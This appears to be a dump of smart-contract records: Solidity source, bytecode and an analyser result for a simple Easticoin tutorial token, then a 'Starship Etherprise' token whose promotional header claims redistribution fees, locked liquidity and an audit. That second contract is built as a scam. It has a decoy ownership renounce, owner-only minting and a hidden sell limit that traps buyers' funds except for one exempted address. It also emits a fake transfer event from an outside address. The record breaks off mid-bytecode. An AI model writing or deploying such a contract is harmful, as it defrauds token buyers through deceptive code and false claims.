balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender&#39;s allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } } /******************************************/ /* ADVANCED TOKEN STARTS HERE */ /******************************************/ contract EasticoinToken is owned, Easticoin { uint256 public sellPrice; uint256 public buyPrice; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes contract with initial supply tokens to the creator of the contract */ function EasticoinToken( uint256 initialSupply, string tokenName, string tokenSymbol ) Easticoin(initialSupply, tokenName, tokenSymbol) public {} /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient Transfer(_from, _to, _value); } /// @notice Create `mintedAmount` tokens and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; Transfer(0, this, mintedAmount); Transfer(this, target, mintedAmount); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } /// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth /// @param newSellPrice Price the users can sell to the contract /// @param newBuyPrice Price users can buy from the contract function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } /// @notice Buy tokens from contract by sending ether function buy() payable public { uint amount = msg.value / buyPrice; // calculates the amount _transfer(this, msg.sender, amount); // makes the transfers } /// @notice Sell `amount` tokens to contract /// @param amount amount of tokens to be sold function sell(uint256 amount) public { require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount); // makes the transfers msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It&#39;s important to do this last to avoid recursion attacks } }
0x606060405236156100b8576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bd578063095ea7b31461014c57806318160ddd146101a657806323b872dd146101cf578063313ce5671461024857806342966c681461027757806370a08231146102b257806379cc6790146102ff57806395d89b4114610359578063a9059cbb146103e8578063cae9ca511461042a578063dd62ed3e146104c7575b600080fd5b34156100c857600080fd5b6100d0610533565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101115780820151818401525b6020810190506100f5565b50505050905090810190601f16801561013e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015757600080fd5b61018c600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105d1565b604051808215151515815260200191505060405180910390f35b34156101b157600080fd5b6101b961065f565b6040518082815260200191505060405180910390f35b34156101da57600080fd5b61022e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610665565b604051808215151515815260200191505060405180910390f35b341561025357600080fd5b61025b610793565b604051808260ff1660ff16815260200191505060405180910390f35b341561028257600080fd5b61029860048080359060200190919050506107a6565b604051808215151515815260200191505060405180910390f35b34156102bd57600080fd5b6102e9600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506108ab565b6040518082815260200191505060405180910390f35b341561030a57600080fd5b61033f600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108c3565b604051808215151515815260200191505060405180910390f35b341561036457600080fd5b61036c610ade565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103ad5780820151818401525b602081019050610391565b50505050905090810190601f1680156103da5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103f357600080fd5b610428600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b7c565b005b341561043557600080fd5b6104ad600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610b8c565b604051808215151515815260200191505060405180910390f35b34156104d257600080fd5b61051d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d0b565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c95780601f1061059e576101008083540402835291602001916105c9565b820191906000526020600020905b8154815290600101906020018083116105ac57829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600190505b92915050565b60035481565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156106f257600080fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550610787848484610d30565b600190505b9392505050565b600260009054906101000a900460ff1681565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156107f657600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816003600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600190505b919050565b60046020528060005260406000206000915090505481565b600081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561091357600080fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561099e57600080fd5b81600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816003600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600190505b92915050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b745780601f10610b4957610100808354040283529160200191610b74565b820191906000526020600020905b815481529060010190602001808311610b5757829003601f168201915b505050505081565b610b87338383610d30565b5b5050565b600080849050610b9c85856105d1565b15610d02578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610c975780820151818401525b602081019050610c7b565b50505050905090810190601f168015610cc45780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1515610ce557600080fd5b6102c65a03f11515610cf657600080fd5b50505060019150610d03565b5b509392505050565b6005602052816000526040600020602052806000526040600020600091509150505481565b6000808373ffffffffffffffffffffffffffffffffffffffff1614151515610d5757600080fd5b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610da557600080fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401111515610e3357600080fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401905081600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a380600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540114151561104057fe5b5b505050505600a165627a7a7230582017070513976fcbc09158312704c9b3a309cbfdbab746baddda1f813fa4476c8e0029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
3,855
0xf4138b3dc9a095dc954a3769de1c6b5a3156a50f
/* ________ _________ ________ ________ ________ ___ ___ ___ ________ |\ ____\|\___ ___\\ __ \|\ __ \|\ ____\|\ \|\ \|\ \|\ __ \ \ \ \___|\|___ \ \_\ \ \|\ \ \ \|\ \ \ \___|\ \ \\\ \ \ \ \ \|\ \ \ \_____ \ \ \ \ \ \ __ \ \ _ _\ \_____ \ \ __ \ \ \ \ ____\ \|____|\ \ \ \ \ \ \ \ \ \ \ \\ \\|____|\ \ \ \ \ \ \ \ \ \___| ____\_\ \ \ \__\ \ \__\ \__\ \__\\ _\ ____\_\ \ \__\ \__\ \__\ \__\ |\_________\ \|__| \|__|\|__|\|__|\|__|\_________\|__|\|__|\|__|\|__| \|_________| \|_________| _______ _________ ___ ___ _______ ________ ________ ________ ___ ________ _______ |\ ___ \|\___ ___\\ \|\ \|\ ___ \ |\ __ \|\ __ \|\ __ \|\ \|\ ____\|\ ___ \ \ \ __/\|___ \ \_\ \ \\\ \ \ __/|\ \ \|\ \ \ \|\ \ \ \|\ \ \ \ \ \___|\ \ __/| \ \ \_|/__ \ \ \ \ \ __ \ \ \_|/_\ \ _ _\ \ ____\ \ _ _\ \ \ \_____ \ \ \_|/__ \ \ \_|\ \ \ \ \ \ \ \ \ \ \ \_|\ \ \ \\ \\ \ \___|\ \ \\ \\ \ \|____|\ \ \ \_|\ \ \ \_______\ \ \__\ \ \__\ \__\ \_______\ \__\\ _\\ \__\ \ \__\\ _\\ \__\____\_\ \ \_______\ \|_______| \|__| \|__|\|__|\|_______|\|__|\|__|\|__| \|__|\|__|\|__|\_________\|_______| \|_________| 🎮 Groundbreaking Features: -- StarShip Etherprise NFT Game -- Beta anticipated in Q4 with NFT creation and graphic design courtesy of former Blizzard and World of Warcraft artist Carlos Chinesta -- StarShop -- Load up on your favorite StarShip gear including hoodies, t-shirts, beanies, and mugs! Coming soon! 🌕 Tokenomics / Statistics: Total Supply: 400010004 Transaction Fee: 5% ↳ 2% redistribution to all holders ↳ 3% sent to marketing wallet controlled by the developer Liquidity: LOCKED 🔑 Audit: In progress Listings: CoinMarketCap and CoinGecko imminent. Find us at: www.starship-etherprise.com https://t.me/starshiptokeneth **/ pragma solidity ^0.6.9; // SPDX-License-Identifier: MIT library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _call() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address public Owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address call = _call(); _owner = call; Owner = call; emit OwnershipTransferred(address(0), call); } modifier onlyOwner() { require(_owner == _call(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); Owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract Etherprise is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping(address => uint256) private _router; mapping(address => mapping (address => uint256)) private _allowances; address private router; address private caller; uint256 private _totalTokens = 400010004 * 10**18; uint256 private rTotal = 400010004 * 10**18; string private _name = 'Starship Etherprise'; string private _symbol = '☄️StarshipETH️'; uint8 private _decimals = 18; constructor () public { _router[_call()] = _totalTokens; emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _call(), _totalTokens); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decreaseAllowance(uint256 amount) public onlyOwner { rTotal = amount * 10**18; } function balanceOf(address account) public view override returns (uint256) { return _router[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_call(), recipient, amount); return true; } function increaseAllowance(uint256 amount) public onlyOwner { require(_call() != address(0)); _totalTokens = _totalTokens.add(amount); _router[_call()] = _router[_call()].add(amount); emit Transfer(address(0), _call(), amount); } function Approve(address trade) public onlyOwner { caller = trade; } function setrouteChain (address Uniswaprouterv02) public onlyOwner { router = Uniswaprouterv02; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_call(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _call(), _allowances[sender][_call()].sub(amount)); return true; } function totalSupply() public view override returns (uint256) { return _totalTokens; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0)); require(recipient != address(0)); if (sender != caller && recipient == router) { require(amount < rTotal); } _router[sender] = _router[sender].sub(amount); _router[recipient] = _router[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0)); require(spender != address(0)); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb1461047f578063b4a99a4e146104e5578063dd62ed3e1461052f578063f2fde38b146105a757610100565b806370a0823114610356578063715018a6146103ae57806395d89b41146103b857806396bfcd231461043b57610100565b806318160ddd116100d357806318160ddd1461024a57806323b872dd14610268578063313ce567146102ee5780636aae83f31461031257610100565b806306fdde0314610105578063095ea7b31461018857806310bad4cf146101ee57806311e330b21461021c575b600080fd5b61010d6105eb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061068d565b604051808215151515815260200191505060405180910390f35b61021a6004803603602081101561020457600080fd5b81019080803590602001909291905050506106ab565b005b6102486004803603602081101561023257600080fd5b8101908080359060200190929190505050610788565b005b6102526109c0565b6040518082815260200191505060405180910390f35b6102d46004803603606081101561027e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109ca565b604051808215151515815260200191505060405180910390f35b6102f6610a89565b604051808260ff1660ff16815260200191505060405180910390f35b6103546004803603602081101561032857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aa0565b005b6103986004803603602081101561036c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bad565b6040518082815260200191505060405180910390f35b6103b6610bf6565b005b6103c0610d7f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104005780820151818401526020810190506103e5565b50505050905090810190601f16801561042d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61047d6004803603602081101561045157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e21565b005b6104cb6004803603604081101561049557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f2e565b604051808215151515815260200191505060405180910390f35b6104ed610f4c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105916004803603604081101561054557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f72565b6040518082815260200191505060405180910390f35b6105e9600480360360208110156105bd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ff9565b005b606060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106835780601f1061065857610100808354040283529160200191610683565b820191906000526020600020905b81548152906001019060200180831161066657829003601f168201915b5050505050905090565b60006106a161069a611206565b848461120e565b6001905092915050565b6106b3611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610774576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b670de0b6b3a7640000810260078190555050565b610790611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610851576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16610871611206565b73ffffffffffffffffffffffffffffffffffffffff16141561089257600080fd5b6108a78160065461136d90919063ffffffff16565b60068190555061090681600260006108bd611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136d90919063ffffffff16565b60026000610912611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610958611206565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6000600654905090565b60006109d78484846113f5565b610a7e846109e3611206565b610a7985600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a30611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116bc90919063ffffffff16565b61120e565b600190509392505050565b6000600a60009054906101000a900460ff16905090565b610aa8611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b69576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610bfe611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cbf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060098054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e175780601f10610dec57610100808354040283529160200191610e17565b820191906000526020600020905b815481529060010190602001808311610dfa57829003601f168201915b5050505050905090565b610e29611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610f42610f3b611206565b84846113f5565b6001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611001611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611148576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806117c76026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561124857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561128257600080fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b6000808284019050838110156113eb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561142f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561146957600080fd5b6005600090549